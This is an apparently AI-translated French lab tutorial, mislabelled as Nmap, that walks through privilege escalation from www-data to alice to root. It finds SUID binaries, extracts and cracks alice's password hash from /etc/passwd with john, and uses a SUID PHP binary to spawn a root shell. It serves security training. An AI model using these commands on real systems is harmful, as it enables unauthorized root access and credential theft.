Escalade de Privilèges vers Root via un Utilisateur Intermédiaire dans Nmap

NmapNmapBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire, nous allons apprendre comment escalader les privilèges jusqu'à l'utilisateur root lorsque nous ne pouvons pas directement escalader en tant que root. Nous allons y parvenir en escaladant d'abord vers un autre utilisateur régulier, puis en utilisant les privilèges de cet utilisateur pour escalader jusqu'à l'utilisateur root. Cet utilisateur intermédiaire est appelé un utilisateur « pierre de transition » (stepping stone).

Le but de ce laboratoire est d'escalader les privilèges de l'utilisateur www-data à l'utilisateur alice, puis de l'utilisateur alice à l'utilisateur root.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/save_output("Save Output to File") subgraph Lab Skills nmap/installation -.-> lab-416146{{"Escalade de Privilèges vers Root via un Utilisateur Intermédiaire dans Nmap"}} nmap/save_output -.-> lab-416146{{"Escalade de Privilèges vers Root via un Utilisateur Intermédiaire dans Nmap"}} end

Initialiser l'environnement de laboratoire

Dans cette étape, nous allons initialiser l'environnement de laboratoire.

  1. Tout d'abord, ouvrez un terminal et accédez au répertoire /home/labex/project :

    cd /home/labex/project
  2. Exécutez la commande suivante pour configurer l'environnement du laboratoire :

    ./env_setup.sh

Cette commande téléchargera et exécutera un script qui configure l'environnement nécessaire pour le laboratoire. Après avoir exécuté cette commande, vous devriez être passé à l'utilisateur www-data, simulant un shell initial obtenu via une vulnérabilité web.

Tenter une escalade de privilèges via SUID

Dans cette étape, nous allons tenter d'escalader les privilèges en utilisant la technique SUID (Set User ID). Nous allons rechercher les fichiers exécutables avec le bit SUID activé, qui peuvent être exécutés avec les permissions du propriétaire du fichier (dans ce cas, root).

  1. Tout d'abord, recherchons les fichiers exécutables SUID auxquels l'utilisateur www-data peut accéder :

    find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt

    Cette commande va rechercher dans tout le système de fichiers les fichiers appartenant à l'utilisateur root et ayant le bit SUID activé (mode de permissions 4000).

  2. Après avoir exécuté la commande, vous devriez voir une liste de fichiers exécutables SUID dans le fichier www-data_suid_files.txt. Examinons le contenu de ce fichier :

    cat ~/www-data_suid_files.txt

Cependant, dans ce cas, il n'y a pas de fichiers adaptés pour une escalade de privilèges via SUID.

Explorer le répertoire personnel

Étant donné que nous n'avons pas pu escalader les privilèges en utilisant la technique SUID, explorons le répertoire personnel à la recherche d'utilisateurs potentiels de transition (stepping stone).

  1. Tout d'abord, enregistrons le contenu du répertoire /home dans un fichier pour une analyse plus approfondie :

    ls -alh /home > ~/home_dir_contents.txt

    Cette commande répertoriera le contenu du répertoire /home au format détaillé, y compris les tailles de fichiers et les permissions, et l'enregistrera dans le fichier home_dir_contents.txt.

  2. Ensuite, examinons le contenu du fichier home_dir_contents.txt pour identifier tout utilisateur potentiel de transition :

    cat ~/home_dir_contents.txt

    Vous devriez voir un répertoire nommé alice dans la sortie, indiquant l'existence d'un utilisateur nommé alice sur le système.

Tenter d'escalader les privilèges jusqu'à l'utilisateur Alice

Étant donné que l'utilisateur www-data n'a pas accès au répertoire alice, nous devons trouver un moyen d'escalader les privilèges jusqu'à l'utilisateur alice en premier lieu.

  1. Vérifions le fichier /etc/passwd pour obtenir des informations sur l'utilisateur alice :

    cat /etc/passwd | grep alice > ~/alice_info.txt
  2. Vérifions le contenu du fichier alice_info.txt pour afficher les détails de l'utilisateur alice

    cat ~/alice_info.txt

    Sortie attendue :

    alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash

    Dans la sortie, vous devriez voir une entrée pour l'utilisateur alice, y compris le hachage du mot de passe.

  3. Pour casser le hachage du mot de passe, nous pouvons utiliser l'outil john. Ouvrez un nouveau terminal et exécutez la commande suivante :

    john ~/alice_info.txt > cracked_passwords.txt

    Exemple de sortie :

    Created directory: /var/www/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    Cela lancera le processus de cassage du mot de passe. Une fois le mot de passe cassé, vous devriez voir le mot de passe dans le fichier cracked_passwords.txt.

    cat ~/cracked_passwords.txt

    Exemple de sortie :

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    beautiful        (alice)
  4. Dans ce cas, le mot de passe de l'utilisateur alice est beautiful. Utilisez la commande su pour passer à l'utilisateur alice :

    su - alice

    Entrez le mot de passe que nous avons cassé précédemment (beautiful) lorsque vous y êtes invité.

    beautiful
  5. Après avoir réussi à passer à l'utilisateur alice, accédez au répertoire alice et créez un nouveau fichier nommé alice.txt :

    cd /home/alice

    Créez un nouveau fichier nommé alice.txt :

    touch ~/alice.txt

    Vous devriez maintenant avoir accès au répertoire alice et à son contenu.

Tenter une escalade de privilèges via SUID en tant qu'utilisateur Alice

Maintenant que nous avons escaladé les privilèges jusqu'à l'utilisateur alice, essayons à nouveau la technique d'escalade de privilèges via SUID.

  1. Assurez-vous que vous êtes dans le répertoire personnel de l'utilisateur alice :

    cd /home/alice

    Exécutez la commande suivante pour trouver les fichiers avec le bit SUID activé :

    find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
  2. Vérifiez le contenu du fichier alice_suid_files.txt pour afficher la liste des fichiers SUID :

    cat alice_suid_files.txt

    Sortie attendue :

    ...
    /var/bin/php
    ...

    Cette fois, vous devriez voir un fichier exécutable /var/bin/php dans la sortie. Ce fichier peut être utilisé pour une escalade de privilèges via SUID.

  3. Pour escalader les privilèges jusqu'à l'utilisateur root, exécutez la commande suivante :

    /var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

    Cette commande exécutera un script PHP qui lancera un nouveau shell avec les privilèges root.

  4. Vous devriez maintenant avoir un shell root, indiqué par l'invite # dans le terminal. Vérifiez que vous avez les privilèges root en créant un fichier dans le répertoire root :

    touch /root/root.txt

    Si le fichier est créé sans erreur de permission, vous avez réussi à escalader les privilèges jusqu'à l'utilisateur root en utilisant la technique SUID.

Comprendre la différence dans les permissions des répertoires

Vous vous demandez peut-être pourquoi l'utilisateur alice a pu trouver le fichier exécutable SUID php, tandis que l'utilisateur www-data n'a pas pu le faire. La réponse réside dans les permissions des répertoires.

Après la dernière étape, vous devriez toujours avoir un shell en tant qu'utilisateur root comme celui ci-dessous :

sh-5.1#
  1. Examinons les permissions du répertoire /var/bin et enregistrons la sortie dans un fichier :

    ls -lh /var > /root/var_permissions.txt
  2. Vérifions le contenu du fichier var_permissions.txt pour afficher les permissions du répertoire /var :

    cat /root/var_permissions.txt

    Sortie attendue :

    total 0
    ...
    drwxr-x--- 2 alice    alice     17 Apr 15 03:48 bin
    ...

    Dans la sortie, vous devriez voir que le répertoire /var/bin appartient à l'utilisateur et au groupe alice. Les autres utilisateurs n'ont pas de permissions de lecture, d'écriture ou d'exécution pour ce répertoire.

Cela signifie que lorsque nous avons escaladé les privilèges jusqu'à l'utilisateur alice, nous avons obtenu l'accès à des fichiers et des répertoires qui étaient auparavant inaccessibles à l'utilisateur www-data. Cette différence de permissions nous a permis de trouver et d'utiliser le fichier exécutable SUID pour l'escalade de privilèges.

Résumé

Dans ce laboratoire, nous avons appris à escalader les privilèges jusqu'à l'utilisateur root lorsque l'escalade directe aux privilèges root n'est pas possible. Nous avons atteint cet objectif en escaladant d'abord les privilèges jusqu'à l'utilisateur alice, un utilisateur de transition (stepping stone), puis en utilisant les privilèges de l'utilisateur alice pour escalader jusqu'à l'utilisateur root.

La principale leçon de ce laboratoire est de toujours être attentif aux différences de permissions entre les utilisateurs, car ces différences peuvent parfois être exploitées pour escalader les privilèges. Bien que nous ayons utilisé un exemple simple dans ce laboratoire, les scénarios réels peuvent être plus complexes, mais le principe de base reste le même : exploiter les différences de permissions entre les utilisateurs pour escalader les privilèges.